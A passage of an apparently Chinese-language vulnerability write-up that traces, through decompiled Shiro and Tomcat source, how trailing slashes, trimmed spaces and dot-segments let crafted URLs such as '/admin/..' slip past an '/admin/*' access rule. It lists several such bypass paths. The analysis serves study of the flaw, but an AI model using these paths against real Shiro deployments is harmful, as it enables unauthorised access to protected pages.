class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {</span></code><code><span class="code-snippet_outer">    FilterChainManager filterChainManager = <span class="code-snippet__keyword">this</span>.getFilterChainManager();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (!filterChainManager.hasChains()) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        String requestURI = <span class="code-snippet__keyword">this</span>.getPathWithinApplication(request);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (requestURI != <span class="code-snippet__literal">null</span> &amp;&amp; !<span class="code-snippet__string">&#34;/&#34;</span>.equals(requestURI) &amp;&amp; requestURI.endsWith(<span class="code-snippet__string">&#34;/&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            requestURI = requestURI.substring(<span class="code-snippet__number">0</span>, requestURI.length() - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Iterator var6 = filterChainManager.getChainNames().iterator();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        String pathPattern;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">do</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!var6.hasNext()) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            pathPattern = (String)var6.next();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (pathPattern != <span class="code-snippet__literal">null</span> &amp;&amp; !<span class="code-snippet__string">&#34;/&#34;</span>.equals(pathPattern) &amp;&amp; pathPattern.endsWith(<span class="code-snippet__string">&#34;/&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                pathPattern = pathPattern.substring(<span class="code-snippet__number">0</span>, pathPattern.length() - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">while</span>(!<span class="code-snippet__keyword">this</span>.pathMatches(pathPattern, requestURI));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (log.isTraceEnabled()) {</span></code><code><span class="code-snippet_outer">            log.trace(<span class="code-snippet__string">&#34;Matched path pattern [&#34;</span> + pathPattern + <span class="code-snippet__string">&#34;] for requestURI [&#34;</span> + Encode.forHtml(requestURI) + <span class="code-snippet__string">&#34;].  Utilizing corresponding filter chain...&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> filterChainManager.proxy(originalChain, pathPattern);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>在getChain方法中匹配到URL和循环匹配路由末位为 &#34;/&#34;时将会将其删除。</p><p>跟进tokenizeToStringArray方法一路step into：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=9b179803&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Yt2T1IibRsskiaY4MaqLTibIND0koicRlaoWQbfymLvagKdtr7ZANt2UTEKw%2F640%3Fwx_fmt%3Dpng"/></p><p>跟到这里就比较清晰了，StringTokenizer以 &#34;/&#34;为分隔符划分token，而函数中有调用trim()方法，使得路由中的空格&#34; &#34;被忽略，导致与&#34;/admin/*&#34;的比较结果为false：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span>[] tokenizeToStringArray(<span class="code-snippet__built_in">String</span> str, <span class="code-snippet__built_in">String</span> delimiters, <span class="code-snippet__built_in">boolean</span> trimTokens, <span class="code-snippet__built_in">boolean</span> ignoreEmptyTokens) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (str == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        StringTokenizer st = <span class="code-snippet__keyword">new</span> StringTokenizer(str, delimiters);</span></code><code><span class="code-snippet_outer">        ArrayList tokens = <span class="code-snippet__keyword">new</span> ArrayList();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span>(<span class="code-snippet__literal">true</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> token;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">do</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (!st.hasMoreTokens()) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> toStringArray(tokens);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                token = st.nextToken();</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (trimTokens) {</span></code><code><span class="code-snippet_outer">                    token = token.trim();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">while</span>(ignoreEmptyTokens &amp;&amp; token.length() &lt;= <span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            tokens.add(token);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=14501b82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Yt9ymRO3ibM2Wz5niajPn1vsNxkB7c7nC2JFibpd3GkLJUBb4RS7iaRfcPxw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=de3d1160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtYUPfk4uqN4c2pNJCPL4Riaa52p8FLwXNVBSicReWkDx7ffO9KiaHjhsiaA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=6799f294&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtvVicNHbfeHbLq68kLbKH2xicD2Nicd8ZQvYafskia7SRIvbViaibraMJrECw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=18e28c8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtHAyvcQOEpEvJGbk9iaCBW33yxGJQibJEnVdUXFkDWqlE54728AKzd4QA%2F640%3Fwx_fmt%3Dpng"/></p><p>最后成功匹配的路由为 &#34;/**&#34;，导致权限绕过</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=6303aacc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtFL5ouDsjLnYQW8awcMYbFuBDAuCcNQhrejriaptopibxuodVHpRBz1Ag%2F640%3Fwx_fmt%3Dpng"/></p><p>而spring默认对空格处理为null，正常返回/admin页面</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=da935835&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtuBtDhiacXgDC2US9JSl59hx74Dd4B4dXYcV39AVJovo5fqELCmU89TQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=99257172&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Ytbts4RJEqv2OB5aWV7H3YgmRv4EMh5QGzskGmGdA2qqTeE3uETryfzQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: inherit;"><br/></span></p><p><span style="font-weight: bold;font-size: 18px;">getPathWithinApplication</span></p><p>观察getPathWithinApplication</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=718dc148&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtcLaVXrUeoauC84QKiadDf1V5BQoOt7C6wMBcLjPwWZn70PdouLdbzyQ%2F640%3Fwx_fmt%3Dpng"/></p><p>一路step into可以看到最后使用normalize函数对path进行处理：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">private static String normalize(String path, boolean replaceBackSlash) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (path == null) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> null;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        String normalized = path;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (replaceBackSlash &amp;&amp; path.indexOf(<span class="code-snippet__number">92</span>) &gt;= <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            normalized = path.replace(<span class="code-snippet__string">&#39;\\&#39;</span>, <span class="code-snippet__string">&#39;/&#39;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (normalized.equals(<span class="code-snippet__string">&#34;/.&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;/&#34;</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!normalized.startsWith(<span class="code-snippet__string">&#34;/&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                normalized = <span class="code-snippet__string">&#34;/&#34;</span> + normalized;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(true) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">int</span> <span class="code-snippet__keyword">index</span> = normalized.indexOf(<span class="code-snippet__string">&#34;//&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span>(true) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">index</span> = normalized.indexOf(<span class="code-snippet__string">&#34;/./&#34;</span>);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">while</span>(true) {</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">index</span> = normalized.indexOf(<span class="code-snippet__string">&#34;/../&#34;</span>);</span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">return</span> normalized;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                                    <span class="code-snippet__keyword">return</span> null;</span></code><code><span class="code-snippet_outer">                                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                                <span class="code-snippet__keyword">int</span> index2 = normalized.lastIndexOf(<span class="code-snippet__number">47</span>, <span class="code-snippet__keyword">index</span> - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">                                normalized = normalized.substring(<span class="code-snippet__number">0</span>, index2) + normalized.substring(<span class="code-snippet__keyword">index</span> + <span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        normalized = normalized.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">index</span>) + normalized.substring(<span class="code-snippet__keyword">index</span> + <span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                normalized = normalized.substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">index</span>) + normalized.substring(<span class="code-snippet__keyword">index</span> + <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>这里传入的path为wrapperPath，原始request中的decodedURI由CoyoteAdapter中的normalize函数与convertURI函数处理：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=b639fadd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtgOkUXRXVXIszF1S2FwPOynXlYuicoicohSjwfj7k33JvrVIswYwicvATw%2F640%3Fwx_fmt%3Dpng"/></p><p>最终通过map()构造mappingData并最终给wrapperPath赋值：</p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=ad4b276f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtEcUO0JDq5PnzTDdvgTFxianM38LPibtu7L4KoYyvAYxibWkt5ZM1sJD6w%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">public static boolean normalize(MessageBytes uriMB) {</span></code><code><span class="code-snippet_outer">    ByteChunk uriBC = uriMB.getByteChunk();</span></code><code><span class="code-snippet_outer">    byte[] b = uriBC.getBytes();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> start = uriBC.getStart();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> end = uriBC.getEnd();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (start == end) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> false;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> <span class="code-snippet__keyword">pos</span> = false;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> <span class="code-snippet__keyword">index</span> = false;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (b[start] != <span class="code-snippet__number">47</span> &amp;&amp; b[start] != <span class="code-snippet__number">92</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> false;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> <span class="code-snippet__keyword">pos</span>;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">pos</span> = start; <span class="code-snippet__keyword">pos</span> &lt; end; ++<span class="code-snippet__keyword">pos</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (b[<span class="code-snippet__keyword">pos</span>] == <span class="code-snippet__number">92</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (!ALLOW_BACKSLASH) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">return</span> false;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    b[<span class="code-snippet__keyword">pos</span>] = <span class="code-snippet__number">47</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (b[<span class="code-snippet__keyword">pos</span>] == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> false;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">pos</span> = start; <span class="code-snippet__keyword">pos</span> &lt; end - <span class="code-snippet__number">1</span>; ++<span class="code-snippet__keyword">pos</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (b[<span class="code-snippet__keyword">pos</span>] == <span class="code-snippet__number">47</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">pos</span> + <span class="code-snippet__number">1</span> &lt; end &amp;&amp; b[<span class="code-snippet__keyword">pos</span> + <span class="code-snippet__number">1</span>] == <span class="code-snippet__number">47</span>) {</span></code><code><span class="code-snippet_outer">                        copyBytes(b, <span class="code-snippet__keyword">pos</span>, <span class="code-snippet__keyword">pos</span> + <span class="code-snippet__number">1</span>, end - <span class="code-snippet__keyword">pos</span> - <span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">                        --end;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (end - start &gt;= <span class="code-snippet__number">2</span> &amp;&amp; b[end - <span class="code-snippet__number">1</span>] == <span class="code-snippet__number">46</span> &amp;&amp; (b[end - <span class="code-snippet__number">2</span>] == <span class="code-snippet__number">47</span> || b[end - <span class="code-snippet__number">2</span>] == <span class="code-snippet__number">46</span> &amp;&amp; b[end - <span class="code-snippet__number">3</span>] == <span class="code-snippet__number">47</span>)) {</span></code><code><span class="code-snippet_outer">                b[end] = <span class="code-snippet__number">47</span>;</span></code><code><span class="code-snippet_outer">                ++end;</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            uriBC.setEnd(end);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> <span class="code-snippet__keyword">index</span> = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span>(true) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">index</span> = uriBC.indexOf(<span class="code-snippet__string">&#34;/./&#34;</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">3</span>, <span class="code-snippet__keyword">index</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">index</span> = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">while</span>(true) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">index</span> = uriBC.indexOf(<span class="code-snippet__string">&#34;/../&#34;</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>, <span class="code-snippet__keyword">index</span>);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> &lt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">return</span> true;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">index</span> == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">return</span> false;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">int</span> index2 = -<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">pos</span> = start + <span class="code-snippet__keyword">index</span> - <span class="code-snippet__number">1</span>; <span class="code-snippet__keyword">pos</span> &gt;= <span class="code-snippet__number">0</span> &amp;&amp; index2 &lt; <span class="code-snippet__number">0</span>; --<span class="code-snippet__keyword">pos</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">if</span> (b[<span class="code-snippet__keyword">pos</span>] == <span class="code-snippet__number">47</span>) {</span></code><code><span class="code-snippet_outer">                                index2 = <span class="code-snippet__keyword">pos</span>;</span></code><code><span class="code-snippet_outer">                            }</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        copyBytes(b, start + index2, start + <span class="code-snippet__keyword">index</span> + <span class="code-snippet__number">3</span>, end - start - <span class="code-snippet__keyword">index</span> - <span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">                        end = end + index2 - <span class="code-snippet__keyword">index</span> - <span class="code-snippet__number">3</span>;</span></code><code><span class="code-snippet_outer">                        uriBC.setEnd(end);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">index</span> = index2;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                copyBytes(b, start + <span class="code-snippet__keyword">index</span>, start + <span class="code-snippet__keyword">index</span> + <span class="code-snippet__number">2</span>, end - start - <span class="code-snippet__keyword">index</span> - <span class="code-snippet__number">2</span>);</span></code><code><span class="code-snippet_outer">                end -= <span class="code-snippet__number">2</span>;</span></code><code><span class="code-snippet_outer">                uriBC.setEnd(end);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>所以这里严格来说是tomcat的解析问题，导致下面这些URL所对应的wrapperPath</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">/admin/.</span></code><code><span class="code-snippet_outer">/admin/./</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">/admin/</span>..</span></code><code><span class="code-snippet_outer">/admin/../</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">/admin/</span>..??????</span></code><code><span class="code-snippet_outer"><span class="code-snippet__regexp">/admin/</span>.????%20%20%20</span></code><code><span class="code-snippet_outer">/admin/..????%20%20%20</span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p>分别被处理为</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer">/admin/</span></code><code><span class="code-snippet_outer">/admin/</span></code><code><span class="code-snippet_outer">/</span></code><code><span class="code-snippet_outer">/</span></code><code><span class="code-snippet_outer">/</span></code><code><span class="code-snippet_outer">/</span></code><code><span class="code-snippet_outer">/</span></code><code><span class="code-snippet_outer">......</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.6922492401215805" style="width: 2632px;height: 1822px;" data-type="png" data-w="2632" src="https://wechat2rss.xlab.app/img-proxy/?k=017cf850&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YthvVRl54vgkL8o1dT835icHzkicpnHTL7067WJDr36GpyYtunUvF9gggA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=48453433&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtTImC9dTTjjFoPRlfm2a9OZicNC8pPOtJSnWqcheAOmaac0FjIfcQfwA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=7f6d1f61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2YtYRqa6noCVkxBJyyjEoNyibVwr6yl33lgTcQMJexd6nJCI9X3Zsp5epA%2F640%3Fwx_fmt%3Dpng"/></p><p><img data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=b9c72920&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7a6iaXmC4wKUS9nicWQra2Ytl795hY6GXhJJGic0zPlDpnG05bbktHdrCgJVFX7Ysviau1phVxaMh9Uw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6151761517615176" style="width: 2952px;height: 1816px;" data-type="png" data-w="2952" 